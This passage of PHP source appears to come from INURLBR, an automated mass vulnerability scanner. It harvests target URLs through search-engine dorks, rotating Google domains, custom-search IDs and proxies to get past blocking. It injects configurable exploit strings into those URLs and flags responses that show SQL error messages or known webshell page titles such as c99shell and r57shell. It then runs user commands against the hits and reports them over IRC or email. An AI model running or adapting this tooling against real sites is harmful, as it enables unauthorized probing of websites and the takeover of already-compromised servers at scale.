        $validation['MICROSOFT-16'] = 'OLE DB Provider for ODBC';
        $validation['MICROSOFT-17'] = "error '800a0d5d'";
        $validation['MICROSOFT-18'] = "error '800a000d'";
        $validation['MICROSOFT-19'] = 'Unclosed quotation mark after the character string';
        $validation['MICROSOFT-20'] = '[Microsoft][SQL Server Native Client 11.0][SQL Server]';
        $validation['MICROSOFT-21'] = 'Warning: odbc_';

        /* #[*]ERROR ORACLE
         * - DBMS currently marketed by Oracle, who was born in 1979 and was 
         * the first relational BD sold worldwide;
         * - Latest version: Oracle Database 11G;
         * http://www.oracle.com/br/solutions/midsize/oracle-products/database/index.html
         * https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf */
        $validation['ORACLE-01'] = 'ORA-00921: unexpected end of SQL command';
        $validation['ORACLE-02'] = 'ORA-01756';
        $validation['ORACLE-03'] = 'ORA-';
        $validation['ORACLE-04'] = 'Oracle ODBC';
        $validation['ORACLE-05'] = 'Oracle Error';
        $validation['ORACLE-06'] = 'Oracle Driver';
        $validation['ORACLE-07'] = 'Oracle DB2';
        $validation['ORACLE-08'] = 'error ORA-';
        $validation['ORACLE-09'] = 'SQL command not properly ended';

        /* #[*]ERROR DB2
         * DB2 is a database system Relational Manager (SGDBR) produced by IBM. 
         * There are different versions of DB2 running from a simple PDA | 
         * handheld, even in powerful mainframes and run on servers based on 
         * Unix, Windows, or Linux.
         * http://www-01.ibm.com/software/br/db2/lowerdatabasecosts/
         * https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#DB2_Escaping */
        $validation['DB2-01'] = 'DB2 ODBC';
        $validation['DB2-02'] = 'DB2 error';
        $validation['DB2-03'] = 'DB2 Driver';

        /* #[*]ERROR ODBC
         * ODBC (acronym for Open Database Connectivity) is a standard for 
         * access to managers of database systems (DBMS).
         * https://support.office.com/pt-br/article/Administrar-fontes-de-dados-ODBC-b19f856b-5b9b-48c9-8b93-07484bfab5a7
         * https://www.exploit-db.com/papers/12975/ */
        $validation['ODBC-01'] = 'ODBC SQL';
        $validation['ODBC-02'] = 'ODBC DB2';
        $validation['ODBC-03'] = 'ODBC Driver';
        $validation['ODBC-04'] = 'ODBC Error';
        $validation['ODBC-05'] = 'ODBC Microsoft Access';
        $validation['ODBC-06'] = 'ODBC Oracle';
        $validation['ODBC-07'] = 'ODBC Microsoft Access Driver';

        /* #[*]ERROR POSTGRESQL
         * PostgreSQL is an object-relational database management system 
         * (ORDBMS), developed as an open source project.
         * http://www.postgresql.org.br/old/
         * https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL */
        $validation['POSTGRESQL-01'] = 'Warning: pg_';
        $validation['POSTGRESQL-02'] = 'PostgreSql Error:';
        $validation['POSTGRESQL-03'] = 'function.pg';
        $validation['POSTGRESQL-04'] = 'Supplied argument is not a valid PostgreSQL result';
        $validation['POSTGRESQL-05'] = 'PostgreSQL query failed: ERROR: parser: parse error';
        $validation['POSTGRESQL-06'] = 'pg_';

        /* #[*]ERROR SYBASE
         * Sybase (NYSE: SY), an SAP company, is a software company that 
         * produces services and products related to information management, 
         * mobility, messaging, development tools, and data warehousing and 
         * OLAP data.
         * https://www.owasp.org/index.php?search=SYBASE&title=Special%3ASearch&go=Go */
        $validation['SYBASE-01'] = 'Warning: sybase_';
        $validation['SYBASE-02'] = 'function.sybase';
        $validation['SYBASE-03'] = 'Sybase result index';
        $validation['SYBASE-04'] = 'Sybase Error:';
        $validation['SYBASE-05'] = 'Sybase: Server message:';
        $validation['SYBASE-06'] = 'sybase_';
        $validation['SYBASE-07'] = '[Sybase][ODBC Driver]:';

        /* #[*]ERROR JBOSSWEB 
         * JBoss Web Server is an enterprise ready web server designed for 
         * medium and large applications, based on Tomcat. 
         * JBoss Web a component of the JBoss Application Server, there are 
         * no more standalone version of JBoss Web you need the Application 
         * Server to get the Servlet/JSP container.
         * http://jbossweb.jboss.org/
         * http://www.rapid7.com/db/search?utf8=%E2%9C%93&q=JBoss+&t=a */
        $validation['JBOSSWEB-01'] = 'java.sql.SQLSyntaxErrorException: ORA-';
        $validation['JBOSSWEB-02'] = 'org.springframework.jdbc.BadSqlGrammarException:';
        $validation['JBOSSWEB-03'] = 'javax.servlet.ServletException:';
        $validation['JBOSSWEB-04'] = 'java.lang.NullPointerException';

        /* #[*]ERROR JDBC
         * Java Database Connectivity or JDBC is a set of classes and 
         * interfaces (API) written in Java that make sending SQL statements 
         * for any relational database
         * http://www.oracle.com/technetwork/java/javase/jdbc/index.html
         * https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java */
        $validation['JDBC_CFM-01'] = 'Error Executing Database Query';
        $validation['JDBC_CFM-02'] = 'SQLServer JDBC Driver';
        $validation['JDBC_CFM-03'] = 'JDBC SQL';
        $validation['JDBC_CFM-04'] = 'JDBC Oracle';
        $validation['JDBC_CFM-05'] = 'JDBC MySQL';
        $validation['JDBC_CFM-06'] = 'JDBC error';
        $validation['JDBC_CFM-07'] = 'JDBC Driver';

        /* #[*]JAVA INFINITYDB
         * InfinityDB is an all-Java embedded database engine that is deployed 
         * in handheld devices, on servers, on workstations, and in distributed 
         * settings. */
        $validation['JAVA-INFINITYDB-01'] = 'java.io.IOException: InfinityDB';

        /* #[*]ERROR PHP 
         * The PHP development team announces the immediate availability of 
         * PHP 5.4.40. 14 security-related bugs were fixed in this release, 
         * including CVE-2014-9709, CVE-2015-2301, CVE-2015-2783, CVE-2015-1352. 
         * All PHP 5.4 users are encouraged to upgrade to this version.
         * http://php.net/ */
        $validation['ERRORPHP-01'] = 'Warning: include';
        $validation['ERRORPHP-02'] = 'Fatal error: include';
        $validation['ERRORPHP-03'] = 'Warning: require';
        $validation['ERRORPHP-04'] = 'Fatal error: require';
        $validation['ERRORPHP-05'] = 'ADODB_Exception';
        $validation['ERRORPHP-06'] = 'Warning: include(';
        $validation['ERRORPHP-07'] = 'Warning: require_once(';
        $validation['ERRORPHP-08'] = 'function.include';
        $validation['ERRORPHP-09'] = 'Disallowed Parent Path';
        $validation['ERRORPHP-10'] = 'function.require';
        $validation['ERRORPHP-11'] = 'Warning: main(';
        $validation['ERRORPHP-12'] = 'Warning: session_start()';
        $validation['ERRORPHP-13'] = 'Warning: getimagesize()';
        $validation['ERRORPHP-16'] = 'Warning: array_merge()';
        $validation['ERRORPHP-17'] = 'Warning: preg_match()';
        $validation['ERRORPHP-18'] = 'GetArray()';
        $validation['ERRORPHP-19'] = 'FetchRow()';
        $validation['ERRORPHP-20'] = 'Warning: preg_';
        $validation['ERRORPHP-21'] = 'Warning: ociexecute()';
        $validation['ERRORPHP-22'] = 'Warning: ocifetchstatement()';
        $validation['ERRORPHP-23'] = 'PHP Warning:';

        /* #[*]ERROR ASP
         * The ASP (Active Server Pages), also known as Classic ASP today, is a
         * framework of basic libraries (and not a language) for processing of
         * scripting languages on the server side to generate dynamic content on
         * the Web
         * http://www.asp.net/ */
        $validation['ERRORASP-01'] = 'Version Information: Microsoft .NET Framework';
        $validation['ERRORASP-04'] = 'ASP.NET is configured to show verbose error messages';
        $validation['ERRORASP-05'] = 'BOF or EOF';
        $validation['ERRORASP-06'] = 'Unclosed quotation mark';
        $validation['ERRORASP-06'] = 'Error converting data type varchar to numeric';

        /* #[*]ERROR LUA 
         * Lua is a scripting language imperative, procedural, small, reflective
         * and light, designed to expand applications in general, to be an 
         * extensible language (which connects parts of a program made in more 
         * than one language)
         * http://www.lua.org/ */
        $validation['ERRORLUA-01'] = 'LuaPlayer ERROR:';
        $validation['ERRORLUA-02'] = 'CGILua message';
        $validation['ERRORLUA-03'] = 'Lua error';

        #[*]ERROR INDEFINIDOS
        $validation['INDEFINITE-01'] = 'Incorrect syntax near';
        $validation['INDEFINITE-02'] = 'Fatal error';
        $validation['INDEFINITE-04'] = 'Invalid Querystring';
        $validation['INDEFINITE-05'] = 'Input string was not in a correct format';
        $validation['INDEFINITE-06'] = 'An illegal character has been found in the statement';

        #[*]SHELL SCRIPT backdoored.
        $validation['SHELL-01'] = 'c99shell</title>';
        $validation['SHELL-02'] = 'C99Shell v';
        $validation['SHELL-03'] = '<form method="POST" action="cfexec.cfm">';
        $validation['SHELL-05'] = '<input type=text name=".CMD" size=45 value=';
        $validation['SHELL-05'] = '<title>awen asp.net webshell</title>';
        $validation['SHELL-06'] = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>";
        $validation['SHELL-07'] = 'JSP Backdoor Reverse Shell';
        $validation['SHELL-08'] = 'Simple CGI backdoor by DK';
        $validation['SHELL-09'] = 'execute command: <input type="text" name="c">';
        $validation['SHELL-10'] = 'Execute Shell Command';
        $validation['SHELL-11'] = 'r57shell</title>';
        $validation['SHELL-12'] = '<title>r57Shell';
        $validation['SHELL-13'] = 'heroes1412';
        $validation['SHELL-14'] = 'MyShell';
        $validation['SHELL-15'] = 'PHP Shell';
        $validation['SHELL-16'] = 'PHPShell';
        $validation['SHELL-17'] = 'REMVIEW TOOLS';
        $validation['SHELL-18'] = '<title>iTSecTeam</title>';
        $validation['SHELL-19'] = 'JSP Backdoor Reverse Shell';
        $validation['SHELL-20'] = '<title>*  ernealizm  * </title>';
        $validation['SHELL-21'] = '<title>JSP Shell</title>';
        $validation['SHELL-22'] = '<title>KNULL Shell</title>';
        $validation['SHELL-23'] = '<title>.+- WSO.+</title>';
        $validation['SHELL-24'] = '<title>SST Sheller !</title>';
        $validation['SHELL-25'] = '<title>SyRiAn Sh3ll';
        $validation['SHELL-26'] = '<title>Mini Php Shell';
        $validation['SHELL-27'] = '<title>ASPX Shell</title>';
        $validation['SHELL-28'] = '<title>ZoRBaCK Connect</title>';
        $validation['SHELL-29'] = '<title>.+Ani-Shell.+</title>';
        $validation['SHELL-30'] = '<title>Stored Procedure Execute</title>';
        $validation['SHELL-31'] = '<title>:: www.h4ckcity.org :: Coded By 2MzRp & LocalMan ::</title>';
        $validation['SHELL-32'] = '<title>PhpShell 2.0</title>';
        $validation['SHELL-33'] = '<title>.+NTDaddy.+</title>';
        $validation['SHELL-34'] = '<title>PHP-Terminal';

        $_SESSION['config']['cms-check-resultado'] = (!is_null($_SESSION['config']['cms-check'])) ? __SimpleCheckCMS($html_) : NULL;
    }

    if (!is_null($_SESSION['config']['regexp'])) {

        preg_match_all("#\b{$_SESSION['config']['regexp']}#i", $html_, $match);
        __plus();
        return (isset($match[0][0]) && !empty($match[0][0]) ? " regular expression->{$_SESSION['config']['regexp']} - " . $match[0][0] . " FOUD! " : NULL);
    } else {

        foreach ($validation as $campo => $valor) {

            __plus();
            if (__validateBD($html_, $validation[$campo], $campo)) {

                __plus();
                return(" {$campo}  -  VALUE: {$validation[$campo]}");
            }
        }
    }
}

################################################################################
#CHECK ERROR 2 HTML INSIDE######################################################
################################################################################

function __validateBD($html_, $verificar, $bd) {

    return (strstr($html_, $verificar)) ? $bd : NULL;
}

################################################################################
#FORMAT URL#####################################################################
################################################################################

function __mountURLExploit($_url) {

    $_url = explode("=", trim(urldecode($_url)));
    $get = max(array_keys($_url));
    $get_ = $_url[$get];
    return implode("=", str_replace($get_, $get_ . ((!is_null($_SESSION['config']['exploit-get'])) ? $_SESSION['config']['exploit-get'] : NULL), $_url));
}

################################################################################
#FILTER HTML URLs ALL THE RETURN OF seekers#####################################
################################################################################

function __filterURL($html, $op = NULL) {

    $reg = !strstr($op, 'GOOGLE') ? "#\b(href=\"|src=\"|value=\")(.*?)(\")#si" :
            "#\b(href=\"|src=\"|value=\"http[s]?://|href=\"|src=\"|value=\"ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si";
    $html = str_replace('href="/url?q=', 'href="', $html);

    if (strstr($html, '.google.com/sorry/IndexRedirect?continue=https://www.google.com.') && $_SESSION['config']['persist'] <= $_SESSION["config"]['google_attempt'][1]) {

        print_r("{$_SESSION["c1"]}[ INFO ][ ERROR ]{$_SESSION["c2"]} GOOGLE LOCKED!{$_SESSION["c0"]}\n");
        $randHost = __dominioGoogleRandom();
        $_SESSION["config"]['google_attempt'][1] ++;
        __pageEngine($_SESSION["config"]["conf_array_tmp"], "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $_SESSION["config"]["dork_tmp"], NULL, 0, 0, 1);
    } else {
        $_SESSION["config"]["google_attempt"][1] = 0;
        preg_match_all($reg, $html, $html);
        return (array_filter(array_unique($html[0])));
    }
}

################################################################################
#FILTER HTML URLs ALL THE RETURN OF GOOGLE API##################################
################################################################################

function __filterURLJson($html) {

    $html = json_decode($html, true);
    $allresponseresults = $html['responseData']['results'];
    foreach ($allresponseresults as $value) {
        $tmp[] = $value['url'];
    }
    return (array_filter(array_unique($tmp)));
}

################################################################################
#Filtering the repeated emails #################################################
################################################################################

function __filterEmailsRepeated() {

    echo "\n\n{$_SESSION["c1"]}|[ INFO ][ Filtering the repeated emails  the file {$_SESSION['config']['arquivo_output']} ]{$_SESSION["c0"]}\n";
    $array = __openFile($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], 1);
    if (is_array($array)) {

        unlink($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output']);
        unset($_SESSION['config']['resultado_valores']);
        foreach ($array as $value) {

            __saveValue($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], $value, 2) . __plus();
            $_SESSION['config']['resultado_valores'] .= "{$value}\n";
        }
    } else {

        echo "\n\n{$_SESSION["c1"]}|[ ERROR ][ ERROR EMAILS FILTERING ]{$_SESSION["c0"]}\n";
    }
}

################################################################################
#COUNTING PROCESS END URLS / vuln AND SHOWING THE URLS / vuln###################
################################################################################

function __exitProcess() {

    $file = !is_null($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL;
    $file_all = !is_null($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL;
    (($_SESSION['config']['extrai-email']) ? __filterEmailsRepeated() : NULL);
    $cont = count(explode("\n", $_SESSION['config']['resultado_valores'])) - 1;
    echo "\n\n{$_SESSION["c1"]}[ INFO ] [ Shutting down ]{$_SESSION["c0"]}";
    echo "\n{$_SESSION["c1"]}[ INFO ] [ End of process INURLBR at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c0"]}";
    echo "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c0"]}{$_SESSION["c16"]}[ TOTAL FILTERED VALUES ]::{$_SESSION["c1"]} [ {$cont} ]{$_SESSION["c0"]}";
    echo!is_null($file) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file}  ]{$_SESSION["c0"]}" : NULL;
    echo!is_null($file_all) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all}  ]{$_SESSION["c0"]}" : NULL;
    echo "\n{$_SESSION["c1"]}|_________________________________________________________________________________________{$_SESSION["c0"]}\n";

    print_r(!$_SESSION['config']['extrai-email'] ? $_SESSION['config']['resultado_valores'] : NULL);

    echo "\n{$_SESSION["c1"]}\_________________________________________________________________________________________/{$_SESSION["c0"]}\n";
    __getOut("\n");
}

################################################################################
#CASE URLS FILTER AND VALIDATING URL VALID######################################
################################################################################

function __subProcess($resultado = NULL) {

    $resultado_ = is_array($resultado) ? array_unique(array_filter($resultado)) : $resultado;
    if (isset($resultado_)) {

        foreach ($resultado_ as $result) {

            $result = __filterURLTAG($result);
            $result_ = __validateURL($result) ? $result : NULL;
            $blacklist_ = (!is_null($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $_SESSION["config"]['blacklist']) : $_SESSION["config"]['blacklist'];
            __plus();

            if (not_isnull_empty($result_) && !__validateOptions($blacklist_, $result_, 1)) {

                $_SESSION["config"]["totas_urls"].= "{$result_}\n";
            }
        }
    }
}

################################################################################
#DEBUGAR VALORES E PROCESSOS####################################################
################################################################################

function __debug($valor, $op = NULL) {

    return isset($_SESSION["config"]["debug"]) && __validateOptions($_SESSION["config"]["debug"], $op) ? "\n[ INFO ][ FUNCTION ]=>{$valor['function']}[ DEBUG ] => \n" . print_r($valor['debug']) . "\n" : NULL;
}

################################################################################
#TIME TO PROCESS SEC############################################################
################################################################################

function __timeSec($camp, $value = NULL) {

    echo!is_null($_SESSION['config'][$camp]) && !empty($_SESSION['config'][$camp]) ? "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ TIME SEC/DELAY ]::{$_SESSION["c1"]}{ {$_SESSION["c8"]}[ {$_SESSION['config'][$camp]} ]{$_SESSION["c1"]} }{$_SESSION["c0"]}{$value}" : NULL;
    !is_null($_SESSION['config'][$camp]) ? sleep($_SESSION['config'][$camp]) : NULL;
}

################################################################################
#SEARCH ENGINE CONFIGURATION####################################################
################################################################################

function __pageEngine($confArray, $motorNome, $motorURL, $dork, $postDados, $pagStart, $pagLimit, $pagIncrement, $pagStart2 = NULL, $pagIncrement2 = NULL) {

    __plus();

    echo ("\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ ENGINE ]::{$_SESSION["c1"]}[ {$motorNome} ]{$_SESSION["c0"]}\n");
    echo (!is_null($_SESSION['config']['max_pag']) ? ("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ LIMIT PAG ]::{$_SESSION["c1"]}[ {$_SESSION['config']['max_pag']} ]{$_SESSION["c0"]}\n") : NULL);
    $http_proxy = not_isnull_empty($_SESSION['config']['proxy-http-file']) || not_isnull_empty($_SESSION['config']['proxy-http']) ? __proxyHttpRandom() : NULL;
    echo not_isnull_empty($http_proxy) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ HTTP_PROXY ]:: {$http_proxy}{$_SESSION["c0"]}\n" : NULL;
    echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c0"]}\n";

    $contMaxpg = 0;
    $pagStart2_ = $pagStart2;
    $pagStart3_ = $pagStart2;
    while ($pagStart <= $pagLimit) {

        echo "{$_SESSION["c1"]}-{$_SESSION["c16"]}[{$_SESSION["c12"]}:::{$_SESSION["c16"]}]{$_SESSION["c0"]}";
        __plus();
        $_proxy = not_isnull_empty($confArray["list_proxy_rand"]) && !not_isnull_empty($_SESSION['config']['time-proxy']) ? $confArray["list_proxy_rand"] : $_SESSION["config"]["proxy"];
        $proxy = not_isnull_empty($_SESSION['config']['proxy-file']) && not_isnull_empty($_SESSION['config']['time-proxy']) ? __timeSecChangeProxy($confArray["list_proxy_file"]) : $_proxy;

        $murl[0] = str_replace("[DORK]", $dork, $motorURL);
        $murl[0] = str_replace("[PAG]", $pagStart, $murl[0]);
        $murl[0] = str_replace("[PAG2]", $pagStart2_, $murl[0]);
        $murl[0] = str_replace("[PAG3]", $pagStart3_, $murl[0]);
        $murl[0] = str_replace("[RANDOM]", base64_encode(intval(rand() % 255) . intval(rand() % 2553333)), $murl[0]);
        $murl[0] = str_replace("[IP]", intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255), $murl[0]);


        $postDados = !is_null($postDados) ? __convertUrlQuery(parse_url(urldecode($murl[0]), PHP_URL_QUERY)) : NULL;

        __debug(array('debug' => "[ URL ENGINE ]{$http_proxy}{$murl[0]}", 'function' => '__pageEngine'), 1);

        $request__ = __request_info($http_proxy . $murl[0], $proxy, $postDados);
        __plus();
        $tmp_url = ($motorNome == 'GOOGLE API') ? __filterURLJson($request__["corpo"]) : __filterURL($request__["corpo"], $motorNome);
        __subProcess($tmp_url);
        __plus();

        $pagStart = ($pagStart + $pagIncrement);
        $pagStart2_ = ($pagStart2_ + $pagIncrement);
        $pagStart3_ = ($pagStart3_ + $pagIncrement2);
        $contMaxpg++;
        __timeSec('delay');

        if (!is_null($_SESSION['config']['max_pag']) && $_SESSION['config']['max_pag'] == $contMaxpg) {

            break;
        }
    }
}

################################################################################
#SUB PROCESS INJECT VALUES######################################################
################################################################################

function __subExecExploits($target, $exploitArray = array()) {

    echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
    echo "         |[ SUB PROCESS ]::\n";
    $target = __filterHostname($target);

    foreach ($exploitArray as $value) {

        $postDados = !is_null($_SESSION["config"]["sub-post"]) ? __convertUrlQuery($value) : NULL;
        $patch_GP = (is_null($postDados) ? $value : NULL);
        $url = $target . $_SESSION["config"]["sub-concat"] . $patch_GP;

        echo "{$_SESSION["c7"]}-[||]{$_SESSION["c0"]}";
        $resultado__ = __request_info($url, $_SESSION["config"]["proxy"], $postDados);
        __plus();
        $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) &&
                strstr($resultado__['server']['http_code'], $_SESSION['config']['ifcode']) ?
                "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL;
        $ifredirect = (strstr($resultado__['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? $resultado__['server']['redirect_url'] : NULL;
        $_ex['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado__['corpo']);

        __plus();
        $_ex['vull_style'] = (not_isnull_empty($_ex['erroReturn'])) ?
                "{$_SESSION["c15"]}[ INFO ][ {$_ex['erroReturn']} ]\n[ INFO ][ TARGET POTENTIALLY VULNERABLE ]: " . __cli_beep() : NULL;
        echo (not_isnull_empty($_ex['erroReturn']) ? "\n{$_ex['vull_style']}{$url}\n{$_SESSION["c0"]}" : NULL);
        echo (not_isnull_empty($_ex['erroReturn']) ? __saveValue($_SESSION['config']['arquivo_output'], $url, 1) . "\n" : NULL);
        __plus();
        $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_ex['erroReturn']) ? "{$url}\n" : NULL);
        (not_isnull_empty($_ex['erroReturn']) && not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ?
                        __ircMsg($_SESSION['config']['irc'], "{$_ex['erroReturn']}::: {$url}") : NULL);

        (not_isnull_empty($_ex['erroReturn']) && !is_null($_SESSION['config']['sub-cmd-vul']) ? __command($_SESSION['config']['sub-cmd-vul'], $url) : NULL);
        (not_isnull_empty($_SESSION['config']['sub-cmd-all']) ? __command($_SESSION['config']['sub-cmd-all'], $url) : NULL);
        __plus();
        __timeSec('delay');
    }
    unset($_ex);
}

################################################################################
#SEND VALUES EMAIL##############################################################
################################################################################
# (PHP 4, PHP 5) mail — Send mailhttp://php.net/manual/en/function.mail.php

function __sendMail($email, $value) {

    $headers = NULL;
    $headers .= "From: <scanner-inurlbr@localhost>\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
    $headers .= "content-type: text/html\nX-priority: 1\n";
    $body = "------------------------------------------------------\n";
    $body.="DATE:  [" . date("d-m-Y H:i:s") . "]";
    $body.=not_isnull_empty($_SESSION['config']['http-header']) ? "HTTP HEADER: {$_SESSION['config']['http-header']}\n" : NULL;
    $body.=not_isnull_empty($_SESSION['config']['motor']) ? "MOTOR BUSCA: {$_SESSION['config']['motor']}\n" : NULL;
    $body.=not_isnull_empty($_SESSION['config']['tipoerro']) ? "TIPO ERROR: {$_SESSION['config']['tipoerro']}\n" : NULL;
    $body.=not_isnull_empty($_SESSION['config']['exploit-get']) ? "EXPLOIT GET: {$_SESSION['config']['exploit-get']}\n" : NULL;
    $body.=not_isnull_empty($_SESSION['config']['exploit-post']) ? "EXPLOIT-POST: {$_SESSION['config']['exploit-post']}\n" : NULL;
    $body.=not_isnull_empty($_SESSION['config']['command-vul']) ? "COMMAND VUL: {$_SESSION['config']['command-vul']}\n" : NULL;
    $body.=not_isnull_empty($_SESSION['config']['command-all']) ? "COMMAND ALL: {$_SESSION['config']['command-all']}\n" : NULL;
    $body.=not_isnull_empty($_SESSION['config']['user-agent']) ? "USER AGENT: {$_SESSION['config']['user-agent']}\n" : NULL;
    $body.= "------------------------------------------------------\n";

    if (mail($email, "[ INFO ][ OUTPUT INURLBR ]:: {$value}", $body, $headers)) {
        __plus();
        return "[ INFO ][ SUBMITTED SUCCESSFULLY ]\n";
    } else {
        __plus();
        return "[ INFO ][ NOT SENT ]\n";
    }
}

################################################################################
#HOST GOOGLE RANDOM#############################################################
################################################################################

function __dominioGoogleRandom() {

    $_SESSION["random"]['dominio_google'] = array(
        'www.google.com', 'www.google.ac', 'www.google.com.om',
        'www.google.ad', 'www.google.ae', 'www.google.com.af',
        'www.google.com.ag', 'www.google.com.ai', 'www.google.am',
        'www.google.it.ao', 'www.google.com.ar', 'www.google.cat',
        'www.google.as', 'www.google.at', 'www.google.com.au',
        'www.google.az', 'www.google.ba', 'www.google.com.bd',
        'www.google.be', 'www.google.bf', 'www.google.bg',
        'www.google.com.bh', 'www.google.bi', 'www.google.bj',
        'www.google.com.bn', 'www.google.com.bo', 'www.google.com.br',
        'www.google.bs', 'www.google.co.bw', 'www.google.com.by',
        'www.google.com.bz', 'www.google.ca', 'www.google.com.kh',
        'www.google.cc', 'www.google.cd', 'www.google.cf',
        'www.google.cn', 'www.google.com.co', 'www.google.co.nz',
        'www.google.cg', 'www.google.ch', 'www.google.ci',
        'www.google.co.ck', 'www.google.cl', 'www.google.cm',
        'www.google.co.cr', 'www.google.com.cu', 'www.google.cv',
        'www.google.cz', 'www.google.de', 'www.google.nu',
        'www.google.dj', 'www.google.dk', 'www.google.dm',
        'www.google.com.do', 'www.google.dz', 'www.google.no',
        'www.google.com.ec', 'www.google.ee', 'www.google.com.eg',
        'www.google.es', 'www.google.com.et', 'www.google.com.np',
        'www.google.fi', 'www.google.com.fj', 'www.google.fm',
        'www.google.fr', 'www.google.ga', 'www.google.nl',
        'www.google.ge', 'www.google.gf', 'www.google.gg',
        'www.google.com.gh', 'www.google.com.gi', 'www.google.nr',
        'www.google.gl', 'www.google.gm', 'www.google.gp',
        'www.google.gr', 'www.google.com.gt', 'www.google.com.ni',
        'www.google.gy', 'www.google.com.hk', 'www.google.hn',
        'www.google.hr', 'www.google.ht', 'www.google.com.ng',
        'www.google.hu', 'www.google.co.id', 'www.google.iq',
        'www.google.ie', 'www.google.co.il', 'www.google.com.nf',
        'www.google.im', 'www.google.co.in', 'www.google.io',
        'www.google.is', 'www.google.it', 'www.google.ne',
        'www.google.je', 'www.google.com.jm', 'www.google.jo',
        'www.google.co.jp', 'www.google.co.ke', 'www.google.com.na',
        'www.google.ki', 'www.google.kg', 'www.google.co.kr',
        'www.google.com.kw', 'www.google.kz', 'www.google.co.mz',
        'www.google.la', 'www.google.com.lb', 'www.google.com.lc',
        'www.google.li', 'www.google.lk', 'www.google.com.my',
        'www.google.co.ls', 'www.google.lt', 'www.google.lu',
        'www.google.lv', 'www.google.com.ly', 'www.google.com.mx',
        'www.google.co.ma', 'www.google.md', 'www.google.me',
        'www.google.mg', 'www.google.mk', 'www.google.mw',
        'www.google.ml', 'www.google.mn', 'www.google.ms',
        'www.google.com.mt', 'www.google.mu', 'www.google.mv',
        'www.google.com.pa', 'www.google.com.pe', 'www.google.com.ph',
        'www.google.com.pk', 'www.google.pn', 'www.google.com.pr',
        'www.google.ps', 'www.google.pt', 'www.google.com.py',
        'www.google.com.qa', 'www.google.ro', 'www.google.rs',
        'www.google.ru', 'www.google.rw', 'www.google.com.sa',
        'www.google.com.sb', 'www.google.sc', 'www.google.se',
        'www.google.com.sg', 'www.google.sh', 'www.google.si',
        'www.google.sk', 'www.google.com.sl', 'www.google.sn',
        'www.google.sm', 'www.google.so', 'www.google.st',
        'www.google.com.sv', 'www.google.td', 'www.google.tg',
        'www.google.co.th', 'www.google.tk', 'www.google.tl',
        'www.google.tm', 'www.google.to', 'www.google.com.tn',
        'www.google.com.tr', 'www.google.tt', 'www.google.com.tw',
        'www.google.co.tz', 'www.google.com.ua', 'www.google.co.ug',
        'www.google.co.uk', 'www.google.us', 'www.google.com.uy',
        'www.google.co.uz', 'www.google.com.vc', 'www.google.co.ve',
        'www.google.vg', 'www.google.co.vi', 'www.google.com.vn',
        'www.google.vu', 'www.google.ws', 'www.google.co.za',
        'www.google.co.zm', 'www.google.co.zw'
    );

    return $_SESSION["random"]['dominio_google'][rand(0, count($_SESSION["random"]['dominio_google']) - 1)];
}

################################################################################
#(CSE)-GOOGLE Custom Search Engine ID RANDOM####################################
################################################################################

function __googleGenericRandom() {

    $generic = array(
        '013269018370076798483:wdba3dlnxqm',
        '005911257635119896548:iiolgmwf2se',
        '007843865286850066037:b0heuatvay8',
        '002901626849897788481:cpnctza84gq',
        '006748068166572874491:55ez0c3j3ey',
        '012984904789461885316:oy3-mu17hxk',
        '006688160405527839966:yhpefuwybre',
        '003917828085772992913:gmoeray5sa8',
        '007843865286850066037:3ajwn2jlweq',
        '010479943387663786936:wjwf2xkhfmq',
        '012873187529719969291:yexdhbzntue',
        '012347377894689429761:wgkj5jn9ee4'
    );
    return $generic[rand(0, count($generic) - 1)];
}

################################################################################
#PROXY HTTP BASE FILE###########################################################
################################################################################

function __proxyHttpRandom() {

    $proxy_file = (file_exists($_SESSION['config']['proxy-http-file']) ? __openFile($_SESSION['config']['proxy-http-file'], 1) : array());
    $proxy_ = is_array($proxy_file) ? array_merge($_SESSION['config']['proxy-http'], $proxy_file) : $_SESSION['config']['proxy-http'];

    return $proxy_[rand(0, count($proxy_) - 1)];
}

################################################################################
#FILTER UNIQUE DOMAIN###########################################################
################################################################################

